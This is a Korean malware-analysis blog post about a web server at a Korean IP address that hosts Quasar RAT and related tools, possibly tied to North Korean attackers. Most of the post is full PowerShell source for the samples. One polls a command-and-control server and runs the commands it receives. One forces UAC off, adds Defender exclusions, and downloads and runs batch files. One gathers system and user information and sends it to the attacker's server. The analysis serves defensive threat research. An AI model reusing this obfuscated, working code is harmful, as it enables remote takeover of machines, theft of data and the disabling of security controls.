TI 데이터를 모니터링 하던 중, 국내 IP의 웹 페이지를 통해 유포되는 Quasar RAT 악성코드를 발견하였다. Quasar RAT 악성코드는 북한 공격자들에 의해 사용된 적이 있기 때문에, 해당 웹 페이지를 좀 더 살펴보았다. 본 글에서는 해당 내용을 설명한다.
먼저, 해당하는 IP는 아래와 같다. IP 정보로 특정 경로에 대해 웹 접속을 시도하면 저장되어 있는 여러 악성코드들이 나타난다.
* IP: 154[.]90[.]62[.]248
* 접속 경로: http://154[.]90[.]62[.]248/[wHk로시작하는 12자리 문자]/
해당 웹 서버에서 얻을 수 있는 모든 악성코드들은 아래와 같다. 키로거(kl.vir)도 포함되어 있으며 netpass(netpass.vir) 악성코드도 포함되어 있다.
이 중 파워쉘 악성코드들은 대부분 피해 PC의 정보를 탈취하는 역할을 수행한다. 먼저 a.ps1의 경우 아래와 같다. 피해 PC의 registry 키 값에 접근해서 uid 값을 획득한다. registry 키 값 접근이 원활하지 않으면 "문서" 경로의 id.log 파일을 읽어 uid 값을 획득하고 C2 서버로 전송해 uid에 따른 명령을 획득한다. 이후 그 명령을 실행한다.
$mainUri = "hujkdtujkdtujkdp:ujkd/ujkd/154.90.62.248/wHk4tMu9XpWA/ujkdujkd".Replace("ujkd","");
function newDir($path) {
if ((Test-Path $path) -eq $false ) {
New-Item -ItemType Directory -Path $path
}
}
function gid
{
$regPath = "HKLM:\Software\Wireless"
$exist = Get-ItemProperty $regPath -Name uid -ErrorAction SilentlyContinue
if ($null -ne $exist) {
$uid = (Get-ItemProperty $regPath -Name uid).uid
}
else {
$local = "$env:public\documents\id.log"
if (Test-Path $local) {
$uid = [IO.File]::readalltext($local)
$uid = $uid.Substring(0,36)
}
else {
$uid = ([System.Guid]::NewGuid()).ToString();
}
if (Test-Path $regPath) {
New-ItemProperty $regPath -Name uid -Value $uid -Force
}
else {
New-Item $regPath -Force | New-ItemProperty -Name uid -Value $uid -Force
}
}
return $uid
}
function gCommand {
$uid = gid
$url = $mainUri + "get-command.php?uid=$uid"
$WebClient = New-Object System.Net.WebClient
$codestring = $WebClient.DownloadString($url)
if ("" -ne $codestring) {
if ($codestring.contains("autoreconnect id")) {
iex $codestring
}
else {
$decode = $executioncontext.InvokeCommand.NewScriptBlock($codestring)
$JobName = "Command"
Stop-Job -Name $JobName
Remove-Job -Name $JobName
Start-Job -ScriptBlock $decode -Name $JobName
}
}
}
function action {
Set-ExecutionPolicy -ExecutionPolicy Bypass -Force
$exist = Get-Process | Where-Object { $_.Name -eq "powershell" -and $_.SessionId -eq 0 }
if ($exist.Count -gt 1) {
# Stop-Process -Name powershell -Force
return
}
while ($true) {
gCommand
Start-Sleep -Seconds 5
}
}
action
b.ps1 은 아래와 같다. uid를 획득하는 것은 a.ps1과 동일하지만 UAC를 우회하는 시도를 수행한다. 이후, C2 서버에서 k1.bat 등의 파일들을 다운로드 하고 scheduler-once.bat 을 실행한다.
$mainUri = "hujkdtujkdtujkdp:ujkd/ujkd/154.90.62.248/wHk4tMu9XpWA/ujkdujkd".Replace("ujkd","");
function postRequest($url,$text) {
$request = [System.Net.WebRequest]::Create($url);
$request.Method = "POST";
$request.ContentType = "application/x-www-form-urlencoded";
$bytes = [System.Text.Encoding]::ASCII.GetBytes($text);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}
function gid
{
$regPath = "HKLM:\Software\Wireless"
$exist = Get-ItemProperty $regPath -Name uid -ErrorAction SilentlyContinue
if ($null -ne $exist) {
$uid = (Get-ItemProperty $regPath -Name uid).uid
}
else {
$local = "$env:public\documents\id.log"
if (Test-Path $local) {
$uid = [IO.File]::readalltext($local)
$uid = $uid.Substring(0,36)
}
else {
$uid = ([System.Guid]::NewGuid()).ToString()
$uid >> $local
}
}
return $uid
}
function sdu () {
$rtet44gg = "Ht3gjt50Kt3gjt50Lt3gjt50M:t3gjt50\t3gjt50St3gjt50Ot3gjt50FTt3gjt50WAt3gjt50Rt3gjt50E\Mt3gjt50ict3gjt50rost3gjt50oft3gjt50t\Wit3gjt50ndt3gjt50owt3gjt50s".Replace("t3gjt50","") + "i3bnoie4\i3bnoie4Cui3bnoie4ri3bnoie4rei3bnoie4ntVi3bnoie4eri3bnoie4si3bnoie4ioi3bnoie4n\Pi3bnoie4oli3bnoie4ici3bnoie4iei3bnoie4s\i3bnoie4Si3bnoie4ysti3bnoie4emi3bnoie4".Replace("i3bnoie4","")
$ruiibttew = "Cy5tjogroony5tjogrosey5tjogronty5tjogroPy5tjogroroy5tjogrompy5tjogroty5tjogro".Replace("y5tjogro","") + "Bu6gjoioehu6gjoioavu6gjoioiu6gjoioorAu6gjoiodmu6gjoioin".Replace("u6gjoio","")
$ruiibttew2 = "Ep8ITAwfno44jgnp8ITAwfno44jgablp8ITAwfno44jgeLp8ITAwfno44jgUp8ITAwfno44jgAp8ITAwfno44jg".Replace("p8ITAwfno44jg","")
$val = (Get-ItemProperty -Path $rtet44gg -Name $ruiibttew).$ruiibttew
$val2 = (Get-ItemProperty -Path $rtet44gg -Name $ruiibttew2).$ruiibttew2
if ($val -eq 0 -or $val2 -eq 0) {
$uid = gid
$url = $mainUri + "index.php"
postRequest $url "uid=$uid&msg=UAC off in default!"
return
}
#disable force
while ($true) {
$val = (Get-ItemProperty -Path $rtet44gg -Name $ruiibttew).$ruiibttew
$val2 = (Get-ItemProperty -Path $rtet44gg -Name $ruiibttew2).$ruiibttew2
if ($val -ne 0 -and $val2 -ne 0) {
Start-process PowerShell -WindowStyle Hidden -verb RunAs -ArgumentList "Set-ItemProperty -Path $rtet44gg -Name $ruiibttew -Value 0 -Force"
Start-Sleep -m 500
}
else {
$uid = gid
$url = $mainUri + "index.php"
postRequest $url "uid=$uid&msg=UAC force disabled!"
break
}
}
}
function newDir($path) {
if ((Test-Path $path) -eq $false ) {
New-Item -ItemType Directory -Path $path
}
}
function schReg {
Start-Process PowerShell -Verb RunAs -WindowStyle Hidden "Add-MpPreference -ExclusionPath $env:TEMP"
$url1 = $mainUri + "trigger"
$url2 = $mainUri + "scheduler-once"
$url3 = $mainUri + "scheduler-rpt"
$dst1 = $env:TEMP + "\k1.bat"
$dst2 = $env:TEMP + "\scheduler-once.bat"
$dst3 = $env:TEMP + "\k2.bat"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($url1,$dst1)
$WebClient.DownloadFile($url2,$dst2)
$WebClient.DownloadFile($url3,$dst3)
Start-Process -FilePath $dst2 -Verb RunAs -WindowStyle Hidden
}
function action {
sdu
Start-Sleep -Milliseconds 300
schReg
}
action
k1.bat 은 아래와 같다. 피해 PC의 원격 연결 관련 값들에 대해 보안 값을 false(0)으로 설정해 무력화한다.
k2.bat은 아래와 같다. 피해 PC에 이더넷 명으로 스케쥴을 생성한다. 해당 스케쥴에서는 sysmon.bat 파일을 실행하며 5분 주기로 작동한다.
scheduler-once.bat 은 아래와 같다. k1.bat 파일을 sysmon.bat 으로, k2.bat 파일을 sysmon2.bat 파일로 변경한다. 이후 이더넷 명으로 스케쥴을 생성하고 sysmon2.bat 파일을 실행하도록 한다.
위 파일들이 하나로 이루어져 작동하는 형태이다. 결국 a.ps1의 get-command.php 엔드포인트를 통해 추가적인 악성 행위를 수행하는 형태이다. get-command.php 엔드포인트에서 응답으로 나타난 한 가지 샘플을 획득하였다. 명령은 파워쉘을 실행하는 형태로 수행되는 것으로 보인다. 해당 명령은 피해 PC의 또 다른 데이터를 탈취하는 형태로 동작하였다.
$mainUri = "hujkdtujkdtujkdp:ujkd/ujkd/154.90.62.248/wHk4tMu9XpWA/ujkdujkd".Replace("ujkd",""); $dkdlel = "a" $lognmfl = "OneDrive.log" $fhrmvkdlf = "\OneDriveLog\" function gif($fhrmvotm) #get information { $env:COMPUTERNAME + "_" + $env:USERNAME >> $fhrmvotm # Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $fhrmvotm ipconfig /all >> $fhrmvotm net user >> $fhrmvotm query user >> $fhrmvotm "" >> $fhrmvotm "Currently logged in users:", "---------------------------------------------" >> $fhrmvotm $currentUser = Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object -ExpandProperty UserName # $currentUser = "$env:COMPUTERNAME\Administrator" $currentUser, "" >> $fhrmvotm "Local user groups for $currentUser :" >> $fhrmvotm "---------------------------------------------" >> $fhrmvotm # Get all groups the current user belongs to $userGroups = Get-LocalGroup | ForEach-Object { $groupName = $_.Name $members = Get-LocalGroupMember -Group $groupName $members | Where-Object { $_.Name -eq $currentUser } | ForEach-Object { $groupName } } # Display the groups the user is a member of $userGroups, "" >> $fhrmvotm "Exclusion path" >> $fhrmvotm "---------------------------------------------" >> $fhrmvotm Get-MpPreference | Select-Object -ExpandProperty ExclusionPath >> $fhrmvotm "" >> $fhrmvotm "Anti-virus:" >> $fhrmvotm "---------------------------------------------" >> $fhrmvotm Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> $fhrmvotm systeminfo >> $fhrmvotm tasklist >> $fhrmvotm # Start-Sleep -s 3 Get-PSDrive -PSProvider FileSystem >> $fhrmvotm # (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion") >> $fhrmvotm # netstat -an >> $fhrmvotm } # function gid # { # $regPath = "HKLM:\Software\Wireless" # $exist = Get-ItemProperty $regPath -Name uid -ErrorAction SilentlyContinue # if ($null -ne $exist) { # $uid = (Get-ItemProperty $regPath -Name uid).uid # } # else { # $uid = ([System.Guid]::NewGuid()).ToString() # if (Test-Path $regPath) { # New-ItemProperty $regPath -Name uid -Value $uid -Force # } # else { # New-Item $regPath -Force | New-ItemProperty -Name uid -Value $uid -Force # } # } # return $uid # } function gid { $regPath = "HKLM:\Software\Wireless" $exist = Get-ItemProperty $regPath -Name uid -ErrorAction SilentlyContinue if ($null -ne $exist) { $uid = (Get-ItemProperty $regPath -Name uid).uid } else { $local = "$env:public\documents\id.log" if (Test-Path $local) { $uid = [IO.File]::readalltext($local) $uid = $uid.Substring(0,36) } else { $uid = ([System.Guid]::NewGuid()).ToString(); } if (Test-Path $regPath) { New-ItemProperty $regPath -Name uid -Value $uid -Force } else { New-Item $regPath -Force | New-ItemProperty -Name uid -Value $uid -Force } } return $uid } function postRequest($url,$text) { $request = [System.Net.WebRequest]::Create($url); $request.Method = "POST"; $request.ContentType = "application/x-www-form-urlencoded"; $bytes = [System.Text.Encoding]::ASCII.GetBytes($text); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write( $bytes, 0, $bytes.Length ); $requestStream.Close(); $request.GetResponse(); } function gif2() { $rtet44gg = "Ht3gjt50Kt3gjt50Lt3gjt50M:t3gjt50\t3gjt50St3gjt50Ot3gjt50FTt3gjt50WAt3gjt50Rt3gjt50E\Mt3gjt50ict3gjt50rost3gjt50oft3gjt50t\Wit3gjt50ndt3gjt50owt3gjt50s".Replace("t3gjt50","") + "i3bnoie4\i3bnoie4Cui3bnoie4ri3bnoie4rei3bnoie4ntVi3bnoie4eri3bnoie4si3bnoie4ioi3bnoie4n\Pi3bnoie4oli3bnoie4ici3bnoie4iei3bnoie4s\i3bnoie4Si3bnoie4ysti3bnoie4emi3bnoie4".Replace("i3bnoie4","") $ruiibttew = "Cy5tjogroony5tjogrosey5tjogronty5tjogroPy5tjogroroy5tjogrompy5tjogroty5tjogro".Replace("y5tjogro","") + "Bu6gjoioehu6gjoioavu6gjoioiu6gjoioorAu6gjoiodmu6gjoioin".Replace("u6gjoio","") $ruiibttew2 = "Ep8ITAwfno44jgnp8ITAwfno44jgablp8ITAwfno44jgeLp8ITAwfno44jgUp8ITAwfno44jgAp8ITAwfno44jg".Replace("p8ITAwfno44jg","") $val = (Get-ItemProperty -Path $rtet44gg -Name $ruiibttew).$ruiibttew $val2 = (Get-ItemProperty -Path $rtet44gg -Name $ruiibttew2).$ruiibttew2 $udivkv = $mainUri + "index.php" $uid = gid # Invoke-WebRequest -Uri $udivkv -Method Post -Body "uid=$uid&Behavior=$val&Enable=$val2" $val3 = $env:COMPUTERNAME postRequest $udivkv "uid=$uid&Behavior=$val&Enable=$val2&Host=$val3" } function sif() { $fph = $env:windir + "\Temp" +$fhrmvkdlf New-Item -Path $fph -Type directory -Force $hFLgPth = $fph + $lognmfl gif $hFLgPth $hexdata =[IO.File]::readalltext($hFLgPth) $bytes = [System.Text.Encoding]::UTF8.GetBytes($hexdata) $b64 = [System.Convert]::ToBase64String($bytes) $udivkv = $mainUri + "index.php" $uid = gid # Invoke-WebRequest -Uri $udivkv -Method Post -Body "uid=$uid&result=$b64" postRequest $udivkv "uid=$uid&result=$b64" Remove-Item -path $hFLgPth -Recurse } function action { #Add-MpPreference -ExclusionPath "$env:windir\System32" sif gif2 } action
현재까지는 위 ip 웹 서버를 통해 피해가 발생한 상황은 보여지지 않는다. 아마도 악성행위를 준비중인 것으로 보여지고, 그에 따라 해당 글에서 기술한 파일들 외에 여러 악성 파일들이 함께 존재하는 것으로 보인다. 해당 ip 웹 서버를 이용한 공격은 유포하는 악성코드 들의 종류나 해당 글에서 기술한 파일들의 특성을 생각하면 특정 피해자의 PC를 지속적으로 조작하기 위한 것으로 보인다.(Quasar RAT 유포 및 get-command.php 엔드포인트를 통한 추가적인 코드 실행)
'Analysis' 카테고리의 다른 글
98. Kimsuky's RFA_질문지 및 자유아시아방송 인터뷰 질의서 (0) | 2024.12.30 |
---|---|
97. CharmingKitten's BellaCPP(correlation Sofacy) (0) | 2024.12.28 |
95. DDoSia (1) | 2024.12.16 |
94. Lazarus's Beavertail 3 (Python) (0) | 2024.12.05 |
93. Kimsuky's pay.bat (1) | 2024.11.29 |